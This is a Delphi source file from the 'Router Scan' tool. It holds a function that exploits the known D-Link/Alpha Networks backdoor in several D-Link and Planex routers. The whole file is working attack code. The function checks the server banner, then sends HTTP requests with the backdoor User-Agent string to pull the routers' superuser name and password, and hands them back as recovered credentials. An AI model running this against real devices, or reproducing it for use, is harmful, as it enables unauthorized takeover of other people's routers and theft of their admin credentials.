// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/

function TRouter.Exploit_DLinkAlphaDI(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  C: TClientSocket;
  A, Buf: AnsiString;
  Len, TimeoutSec: Integer;
begin
  // Affected:
  // D-Link DI-524UP
  // D-Link DI-604UP
  // D-Link DI-624S
  // D-Link T-Mobile TM-G5240
  // Planex BRL-04CW
  // Planex BRL-04CW-U
  // Planex BRL-04R
  // Planex BRL-04UR
  Result := False;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if Pos('thttpd-alphanetworks', ServerName) = 0 then
    Exit;
  C := TClientSocket.Create(nil);
  LatestSock := C;
  C.Address := IPToStr(IP);
  C.Port := Port;
  C.ClientType := ctBlocking;

  try
    C.Open;
  except
    LatestSock := nil;
    C.Free;
    Exit;
  end;
  if C.Active then begin
    A := 'GET /Tools/tools_admin.xgi?GET/sys/account/superUserName=1 HTTP/1.0'#13#10+
    'User-Agent: xmlset_roodkcableoj28840ybtide'#13#10#13#10;
    C.Socket.SendBuf(A[1], Length(A));
  end;
  A := '';
  TimeoutSec := 8;
  while (Pos(' '#0, A) = 0)
  and (Pos(#13#10, A) = 0)
  and (C.Active)
  and (not Terminated)
  and (TimeoutSec > 0)
  do begin
    Len := C.Socket.ReceiveLength;
    SetLength(Buf, Len);
    C.Socket.ReceiveBuf(Buf[1], Len);
    A := A + Buf;
    Sleep(1000);
    Dec(TimeoutSec);
  end;
  if C.Active then
    C.Close;
  if Pos(#13#10, A) = 0 then begin
    Delete(A, Pos(' '#0, A), 2);
    AuthUser := A;
    Result := True;
  end;

  try
    C.Open;
  except
    LatestSock := nil;
    C.Free;
    Exit;
  end;
  if C.Active then begin
    A := 'GET /Tools/tools_admin.xgi?GET/sys/account/superUserPassword=1 HTTP/1.0'#13#10+
    'User-Agent: xmlset_roodkcableoj28840ybtide'#13#10#13#10;
    C.Socket.SendBuf(A[1], Length(A));
  end;
  A := '';
  TimeoutSec := 8;
  while (Pos(' '#0, A) = 0)
  and (Pos(#13#10, A) = 0)
  and (C.Active)
  and (not Terminated)
  and (TimeoutSec > 0)
  do begin
    Len := C.Socket.ReceiveLength;
    SetLength(Buf, Len);
    C.Socket.ReceiveBuf(Buf[1], Len);
    A := A + Buf;
    Sleep(1000);
    Dec(TimeoutSec);
  end;
  if C.Active then
    C.Close;
  if Pos(#13#10, A) = 0 then begin
    Delete(A, Pos(' '#0, A), 2);
    AuthPass := A;
    Result := True;
  end;
  LatestSock := nil;
  C.Free;
end;
